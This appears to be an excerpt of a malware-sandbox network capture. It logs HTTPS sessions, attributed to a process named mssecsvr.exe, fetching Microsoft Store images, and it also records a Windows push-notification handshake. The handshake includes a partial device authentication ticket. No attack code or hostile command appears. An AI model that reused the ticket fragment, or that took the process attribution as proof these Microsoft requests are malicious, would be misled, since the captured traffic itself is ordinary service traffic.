2022-07-20 17:08:14 UTC	766	IN	Data Raw: 41 ef 74 65 d4 62 ea 31 7f 28 78 e5 ca 24 d0 d4 dc d6 7e 5b 97 4c c6 4e 5e 9c 06 87 bf 1d a1 3b 69 b5 eb 92 98 9c 67 99 b1 5e 4e 13 78 47 3a b8 a0 61 f9 79 21 65 93 ba af a7 90 d3 1f 90 fc dc ee c9 16 85 8c 31 a9 5e a7 35 90 c4 ef 98 30 ef 38 8a c0 70 a7 67 a7 56 69 f8 9e 02 4c 07 be 13 a8 4e 80 ef ca 52 32 3c 21 8f 93 de a3 b9 d7 d5 79 d2 fb 09 d1 9d 3a 8f 53 67 f2 c4 e6 45 6f 1a 5a 21 21 39 f8 3c 32 08 22 11 69 9c 44 a4 b3 8e 2c 20 39 2d 4f c4 5f 94 76 ff 5a 07 af 72 b7 44 00 18 49 b6 73 34 33 ca 60 a0 b3 4d 50 bf 6b 92 31 02 b8 6c 32 28 86 bf 69 bd 1b b6 8a d0 53 bf 9a a3 f5 5b ca 73 f4 a4 f4 fe 2a a2 2e 8b b8 a6 0d ca e2 5b 28 9f 27 e0 a3 63 a1 9e 86 48 78 75 78 c5 47 d0 1e 63 c9 97 36 f0 db 81 c8 af b1 e3 2b 00 f3 6f 2e 63 77 6d 07 d4 ee 50 84 7b 02 Data Ascii: Ateb1(x$~[LN^;ig^NxG:ay!e1^508pgViLNR2<!y:SgEoZ!!9<2"iD, 9-O_vZrDIs43`MPk1l2(iS[s*.[('cHxuxGc6+o.cwmP{

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.7	51500	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:14 UTC	668	OUT	GET /image/apps.56668.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.a2d9522a-f7d1-4f21-9ea4-8ba298101695?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:08:14 UTC	685	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 36356 Content-Type: image/png Last-Modified: Tue, 01 Feb 2022 21:30:34 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDlFNUNBMTRBNkU5OUQ" MS-CV: z5GVXLljMESvilJy.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:08:14 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:08:14 UTC	685	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 8d 99 49 44 41 54 78 01 ed bd 09 bc a5 c7 55 1f 78 ea be d7 7b b7 ba 25 bb 2d 4b 6e d9 6d 5b b6 ac 76 b0 64 cb 6a 63 27 58 0d 32 43 60 62 10 03 32 09 b1 13 83 4d 06 08 3f 76 86 25 04 db 24 13 60 86 80 93 09 01 32 13 42 98 e1 c7 04 41 00 11 32 c1 01 d4 92 81 60 59 6d 4b 02 29 96 2c cb 92 25 6b b1 96 5e df 7e ef 77 a6 96 b3 fc ab ee 6d 59 b2 16 ab df ab 23 dd be f7 7d 4b 55 7d f5 55 fd eb 7f 4e 9d 3a 45 d4 a5 4b 97 2e 5d ba 74 e9 d2 a5 4b 97 2e 5d ba 74 e9 d2 a5 4b 97 2e 5d ba 74 e9 d2 a5 4b 97 2e 5d ba 74 Data Ascii: PNGIHDR,,y}upHYssRGBgAMAaIDATxUx{%-Knm[vdjc'X2C`b2M?v%$`2BA2`YmK),%k^~wmY#}KU}UN:EK.]tK.]tK.]tK.]t
2022-07-20 17:08:14 UTC	718	IN	Data Raw: cc 93 02 ab d3 08 d2 0b cf 2b 04 5c b6 97 eb f5 f1 c7 1f cf 8c eb 0f fe e0 0f 5e 71 d6 ae ed 17 2c 2c 2e a7 3d 21 a5 46 48 1d 52 2b 86 52 31 1b 30 61 d1 4c 76 65 97 a9 c1 de 98 11 57 46 f7 5c af 81 1a 96 56 a7 27 3f 61 36 c0 d3 30 3f 2f 4b cf fe 16 04 64 28 b1 00 23 30 2b 4f 5c 4b b1 b4 bc 74 e7 ef fe d6 7f f8 6c fa 2b b2 d3 fc 5e 74 2b af f5 68 bf 4a d2 19 56 23 b1 1d 5c 95 9c 44 57 d7 12 60 25 87 d1 b2 d9 84 8d b8 36 da 51 65 7f d0 96 a8 56 0e 60 4d 6a 8b d2 46 cf 36 c2 e3 08 ee 8d b4 48 36 88 7b 74 4b 6d e3 c8 e0 ca bd 64 ac 22 45 29 f5 0e 91 13 61 46 f6 c6 72 cf e0 1d 44 d9 a3 31 36 92 6d c4 94 6c 51 f2 a2 be 5d 17 d5 9a 27 f5 81 03 07 86 68 9f 7a 46 3a 45 5e 92 22 11 1b c8 d7 be a9 01 79 1c 6d 5f e3 cb 2f bf fc cd 1a 1b 2c 45 7d 4d 2e 14 64 6c 63 f0 Data Ascii: +\^q,,.=!FHR+R10aLveWF\V'?a60?/Kd(#0+O\Ktl+^t+hJV#\DW`%6QeV`MjF6H6{tKmd"E)aFrD16mlQ]'hzF:E^"ym_/,E}M.dlc
2022-07-20 17:08:14 UTC	727	IN	Data Raw: 04 67 8f e4 e7 14 8c 42 35 f8 b0 b3 b8 00 37 31 bb 49 01 51 3f fd 73 ea b8 d9 af 6c 39 4e 72 16 dd bb 77 ef 86 75 67 50 d9 28 0c 2b bd e4 bc 8b f0 d2 d2 4a 09 5b a2 33 51 d2 68 92 ba 33 72 fb 46 19 8d 85 51 e1 4e d0 6a a5 60 33 8f e4 36 6f aa 13 11 9b 0d c4 9a 60 70 f7 a1 91 35 4e 27 24 d8 57 fc 1e 21 21 76 65 f1 db 0a 4a eb ac df 05 df 5b 30 d8 6a 13 98 fb 57 4d c5 81 09 f3 81 c9 2b 1b b6 6d 37 eb ca 3e 9c 53 63 35 9e ab a7 be 82 44 4e b3 c4 0b 63 59 9e 1c e0 21 65 e9 0a 58 6d f4 19 58 76 9e 36 03 fe e0 66 9f c6 37 cd 8a 6c 15 e3 b3 6f 8c ec 49 a1 13 1a c0 0c 4e e2 93 2b 70 44 1f 1a 0d e4 dc 24 a3 60 a3 f6 32 b4 63 11 b9 0d 6c 04 76 2e fb 96 44 94 8d 2b aa d9 35 f1 aa 3b ee bc fd 3a 6a b6 f3 4a a7 65 ff c1 0d 2d 1b 02 b0 12 bb 2a 51 2c d7 28 85 de 4d 6b Data Ascii: gB571IQ?sl9NrwugP(+J[3Qh3rFQNj`36o`p5N'$W!!veJ[0jWM+m7>Sc5DNcY!eXmXv6f7loIN+pD$`2clv.D+5;:jJe-*Q,(Mk

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.7	51501	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:14 UTC	768	OUT	GET /image/apps.5845.13510798886747090.492cc081-9f95-48fd-b532-eba9c10ac577.477c821a-ca1f-4c68-937c-677b2841df44?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:08:14 UTC	768	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 39730 Content-Type: image/jpeg Last-Modified: Wed, 20 Jul 2022 07:08:36 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE2QTFFQUExQ0U4MjU" MS-CV: dGUIlzBl70yBakiI.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:08:14 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:08:14 UTC	769	IN	Data Raw: ff d8 ff db 00 84 00 05 04 04 10 10 0e 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 11 10 10 10 10 10 10 0d 20 20 20 1c 1e 1f 21 21 21 20 10 30 27 30 18 30 18 18 18 18 01 05 06 06 09 08 09 10 09 09 10 20 16 12 15 20 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 ff c2 00 11 08 01 2c 01 2c 03 01 11 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 02 03 01 01 00 00 00 00 00 00 00 00 00 00 06 07 04 05 00 03 08 02 01 ff da 00 08 01 01 00 00 00 00 da cb 60 e8 90 4d 2a 20 62 ea aa 3c 5a ff 00 5b 63 eb 91 32 9a e2 65 60 e6 88 f5 ba fc 7d d3 ab 5f 9f 1f 37 b5 af 8f 48 c8 2d 61 51 d1 8f c1 d9 8a aa 02 61 d2 d1 fa 82 71 e2 12 2a Data Ascii: !!! 0'00 ,,`M* b<Z[c2e`}_7H-aQaq*
2022-07-20 17:08:14 UTC	784	IN	Data Raw: 32 f1 15 97 41 eb f5 b6 a7 e9 ea 46 de d3 fa 9b 24 b5 8b 40 f0 5e 35 72 6c 36 5a 00 03 43 c8 e0 e3 e5 26 ad f2 ed 8c b8 3e 8a 47 47 70 7e a1 c3 de a6 3e 55 57 af 2a b7 37 37 04 ab a6 ef 9a ad 7c 0d 0a 16 f4 54 b5 05 88 6b 75 2f 5d 9a 23 35 ff 00 85 8e fb 03 56 bf 15 dc 4d 99 80 9f 3d c5 3a 3d 3a 95 59 4d 61 8f 75 a0 ad 36 5e c3 6d 85 e5 cf eb 75 d5 6e a9 d9 36 d0 ff 00 69 8e a7 ba c8 29 f6 e1 83 6c 25 8a df 12 b4 95 24 a8 7e 43 47 c8 e2 ef 6c 3c 0f ff 00 ce 67 ea 05 23 2c 93 fa 6a c1 e9 74 9e 6c 13 86 e4 7a 6c 6e e0 1b e8 0f 1f 94 7e ae c5 ba 9e ec c7 c8 b2 87 16 55 85 96 b9 34 ad ab b9 b9 a8 37 2a 52 f6 2d 73 07 12 ba 76 52 c2 a0 6d b3 b1 c3 7f 91 56 ee 43 47 7a 26 5a 08 05 65 4b 30 e9 e2 b1 54 d6 9d dd b2 75 31 29 03 e4 72 f2 bd 87 82 22 cc 8c 66 b1 d0 Data Ascii: 2AF$@^5rl6ZC&>GGp~>UW77\|Tku/]#5VM=:=:YMau6^mun6i)l%$~CGl<g#,jtlzln~U47R-svRmVCGz&ZeK0Tu1)r"f
2022-07-20 17:08:14 UTC	793	IN	Data Raw: 3a e1 06 f9 30 ca b3 31 e3 dc f5 91 d2 93 21 c4 8e b0 b1 90 35 88 4f 61 af c7 f2 15 04 ea 50 37 c0 92 6e ff 00 88 7f cb 49 fe 5c ff 00 3c 4e 31 df 0c ab 7d f3 ac 94 38 68 e6 32 77 53 c7 18 51 39 7c 06 58 33 11 62 9b 5e 46 f0 d4 49 96 94 65 c1 49 21 99 38 a7 bc 5e db 75 07 6a d2 94 a6 e9 b8 30 56 70 5e 41 4b 84 2c 73 92 33 94 aa 42 1d f8 4e 54 54 d5 42 07 0e 91 eb 0e 45 35 e8 f8 37 92 e8 f9 6b f1 bc 67 42 c7 9f e6 99 c2 1d 44 2a 74 bd 93 ac 1a 55 bc b0 1f 06 c7 d6 44 d3 e7 10 6a 3f 18 c6 47 63 a4 e1 34 0e fd cc 98 e8 4d 91 36 0d 43 72 51 27 59 48 6c 98 a2 a6 dc 8e ba 1d 63 f7 a9 fe 6f d8 8f f3 38 e0 81 32 56 b3 6f e5 69 fe 15 de 46 37 b2 44 04 5e 46 34 4f 38 a4 a0 24 fe c8 79 23 1c 03 c7 f1 20 30 34 ef 13 2b 02 5e 60 e5 f4 19 1e 39 70 c2 aa 43 39 b8 a2 31 Data Ascii: :01!5OaP7nI\<N1}8h2wSQ9\|X3b^FIeI!8^uj0Vp^AK,s3BNTTBE57kgBD*tUDj?Gc4M6CrQ'YHlco82VoiF7D^F4O8$y# 04+^`9pC91

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.7	51503	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:14 UTC	808	OUT	GET /image/apps.54562.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.24af4abe-62f8-404b-b1a9-ee8fe4d32d94?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:08:14 UTC	808	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 12462 Content-Type: image/png Last-Modified: Fri, 04 Jun 2021 08:47:09 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyNzM1NTcwNDdCNjk" MS-CV: YL1WyeTAvUC1HHWF.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:08:14 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:08:14 UTC	809	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 30 43 49 44 41 54 78 5e ed 9d 09 78 55 c5 dd c6 cd 46 02 24 ec 5b 42 48 20 1b 4b 20 20 a0 28 6e 05 14 95 45 56 d9 51 b4 6e b5 e2 be a1 d6 b5 b6 2e b5 2a d5 16 97 af 9f 75 af da d6 cf 6a ab 6d ad 56 dc 70 b7 22 22 a0 e0 86 2c 22 10 b2 2f e7 ff bd ff 73 73 31 09 93 e4 86 9c 7b ef 39 e7 be bf e7 f9 3d 48 80 e4 cc dc 33 af 33 73 e6 cc 1c 40 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 Data Ascii: PNGIHDR,,y}usRGBgAMAapHYsod0CIDATx^xUF$[BH K (nEVQn.*ujmVp"","/ss1{9=H33s@!B!B!B!B!B!B!B!B!B!B!B!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.7	51504	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:14 UTC	808	OUT	GET /image/apps.59367.13510798885854323.dbec43fa-fcea-4036-9b1c-96de66922c18.da850a8e-5b3f-49fd-b3dc-6a8c0db400e4?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:08:14 UTC	821	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 45735 Content-Type: image/png Last-Modified: Wed, 04 Nov 2020 14:51:15 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg4MEQxMTQ2RkU2Q0E" MS-CV: hrPmTcUjH02eZ8TI.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:08:14 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:08:14 UTC	821	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 08 ae 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 30 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDRh_pHYs.#.#x?viTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RD
2022-07-20 17:08:14 UTC	837	IN	Data Raw: 71 48 56 59 06 10 b7 b9 3e c3 71 1d 54 28 bc 80 59 82 73 08 c8 36 41 b2 59 ad 39 5f 28 1c 99 9a cd bf fe b7 c7 76 5c d7 e8 9e 6f 1c 7a a6 bf af 20 05 20 33 c4 cd 74 78 a3 db 7a c3 a1 1f fe c3 b1 3f fb e8 2e ec 86 95 80 2c 49 01 88 ec 08 d8 13 18 64 e3 f7 40 a2 37 e2 06 19 5c 53 00 aa 68 69 d1 0a a1 85 d2 a8 23 30 75 d0 a5 7d 57 4f 3c 79 b2 31 bf 1a 47 81 cc 22 33 d9 83 b0 33 47 b9 88 11 3b ad 16 20 30 09 a5 30 b5 46 48 1d 06 7e a3 9d ee 1f c4 bd e3 e5 96 41 a9 b5 f6 3d 21 b3 31 67 90 4a 09 ad 50 29 97 98 e2 e6 91 ea 86 d1 e7 be f0 af 05 c1 63 b7 bf 9a 9c 65 66 21 84 94 a2 34 3e 3a 76 eb cd 5b 7f e6 dd 1b df f1 53 d1 fa 1d ad 4e 70 e9 e0 d9 93 df 7f ea e4 f7 1e 5b 7a f8 d9 74 b9 5e de 38 a6 cb b9 b4 d1 4c d3 44 23 ba d9 8b 1f f8 8b 7f 9b 6a 13 04 fd 6f da Data Ascii: qHVY>qT(Ys6AY9_(v\oz 3txz?.,Id@7\Shi#0u}WO<y1G"33G; 00FH~A=!1gJP)cef!4>:v[SNp[zt^8LD#jo
2022-07-20 17:08:14 UTC	845	IN	Data Raw: ae 59 b7 5e fa 01 92 23 29 c5 ba 75 86 b9 b5 b2 6c 89 c2 30 3c dc 6e 5d 48 d3 f3 ce 1e 05 78 f3 cf bd f7 ff b9 e7 3b fb 5e f5 2a 01 10 c7 31 38 57 1c 99 e8 16 6e ba f7 13 7f f1 f8 f7 26 ff f5 de 99 17 1e 3e b9 47 3c 11 6c d9 06 63 b7 b9 f3 4f cf 7f bf b5 25 57 4d eb 53 d5 37 be 43 59 28 cd 5f 7a 69 b6 3b fd cd e9 09 73 6d 65 e0 77 e2 ce a6 87 4e af 84 8b 47 4b 79 e1 8f 8e cb 42 09 64 84 32 44 1d 82 d4 d9 32 69 60 5a db bd e1 d8 11 90 43 22 a6 1e 41 0e 10 b1 35 59 82 cc c6 32 64 47 e8 90 1d 93 23 e7 98 18 ac 03 66 76 8e ad 03 26 48 1d 91 60 72 2e b5 64 1d a5 44 29 93 23 97 c9 c8 11 19 26 c8 c8 42 d6 0a 7d 16 52 03 b4 b6 ed 80 01 8c 05 43 e0 2c 10 a1 45 70 0e 1d a3 63 b4 2c 2c 4b 87 c2 a1 76 a8 50 69 3f 0c c2 20 18 dd 75 d3 81 73 8f 3d fb e2 19 61 c9 16 01 Data Ascii: Y^#)ul0<n]Hx;^*18Wn&>G<lcO%WMS7CY(_zi;smewNGKyBd2D2i`ZC"A5Y2dG#fv&H`r.dD)#&B}RC,Epc,,KvPi? us=a
2022-07-20 17:08:14 UTC	861	IN	Data Raw: 7b f9 c2 e7 ff fc 75 5e ab 11 cc 69 14 45 81 eb 97 5c bf 3f 1c 18 8c da bd 6e 7b 65 85 52 1a f9 81 e7 79 be e7 07 be 1f 79 be cb b9 94 d2 a3 54 6b 2d a5 d4 08 5b 03 da 58 ad 75 9e e6 59 92 f0 38 a6 8e 83 19 c3 88 02 10 0b 0a 01 06 8a f7 12 42 4c 00 23 8c b0 83 09 26 24 a3 f4 e4 7b 3f 50 bd f4 c3 97 bf fe 87 af dc be d6 f9 f8 cf 1c 3c 72 72 bc 56 2f 8f 4d 3a 03 3f ee 77 95 14 23 9d 9c 31 d6 23 8c bb 2a cf a5 36 56 5a 84 11 41 84 50 0a cc 5a 63 1c 25 3d a9 7d a1 72 6c 72 65 52 ac 12 89 32 8e 0b 38 4f a9 23 c3 71 cc dd 24 69 0e 20 a6 65 04 ca 68 29 75 5a 76 a5 ad a7 fa 70 22 74 26 64 9a 66 e9 70 20 95 92 88 49 05 22 cf b2 5e 7b b7 df 6a e4 09 48 01 80 90 eb 61 ee 52 ca a9 4a b0 cc 0d 75 6c d5 07 a7 80 bc 92 57 a8 56 cb b5 42 6d ac 50 ae 85 61 e4 3b cc a1 98 Data Ascii: {u^iE\?n{eRyyTk-[XuY8BL#&${?P<rrV/M:?w#1#*6VZAPZc%=}rlreR28O#q$i eh)uZvp"t&dfp I"^{jHaRJulWVBmPa;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.7	51806	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:23 UTC	866	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 32 34 32 32 64 64 30 63 64 65 30 64 37 36 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 12422dd0cde0d766
2022-07-20 17:08:23 UTC	866	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:08:23 UTC	866	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 32 34 32 32 64 64 30 63 64 65 30 64 37 36 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 65 75 61 42 4a 41 6d 72 51 41 6b 70 4b 75 57 56 42 35 6f 62 41 69 75 4a 4d 4e 66 69 63 78 54 59 51 45 62 71 44 32 36 4f 4b 4f 64 6a 79 64 56 44 34 72 4b 37 4c 4e 6a 59 62 65 70 53 4f 38 41 58 31 7a 39 56 51 49 44 69 54 67 37 74 37 5a 41 58 56 62 7a 71 53 49 2f 32 6c 73 4d 34 36 53 6b 61 4d 36 69 34 77 6f 68 30 72 53 38 6f 67 6b 6d 6c 48 61 47 33 39 57 4c 34 70 33 66 43 76 31 58 5a 41 77 59 31 2f 4e 6b Data Ascii: ATH 2 CON\DEVICE 1014Context: 12422dd0cde0d766<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWeuaBJAmrQAkpKuWVB5obAiuJMNficxTYQEbqD26OKOdjydVD4rK7LNjYbepSO8AX1z9VQIDiTg7t7ZAXVbzqSI/2lsM46SkaM6i4woh0rS8ogkmlHaG39WL4p3fCv1XZAwY1/Nk
2022-07-20 17:08:23 UTC	867	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 32 34 32 32 64 64 30 63 64 65 30 64 37 36 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 12422dd0cde0d766<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 17:08:23 UTC	868	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:08:23 UTC	868	IN	Data Raw: 4d 53 2d 43 56 3a 20 46 58 38 33 39 30 49 51 74 45 61 42 63 4d 75 41 75 34 67 45 69 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: FX8390IQtEaBcMuAu4gEiA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.7	49743	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:06:49 UTC	75	OUT	GET /image/apps.2052.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.a0c3decd-308f-4f06-bcfb-2aa4f3afe248?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:06:49 UTC	75	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 4765 Content-Type: image/png Last-Modified: Wed, 04 Mar 2020 18:13:05 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdDMDY3QUY0QThGRjc" MS-CV: 0gdTj9M+eE6j3uUJ.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:06:49 GMT Connection: close Access-Control-Allow-Origin: *
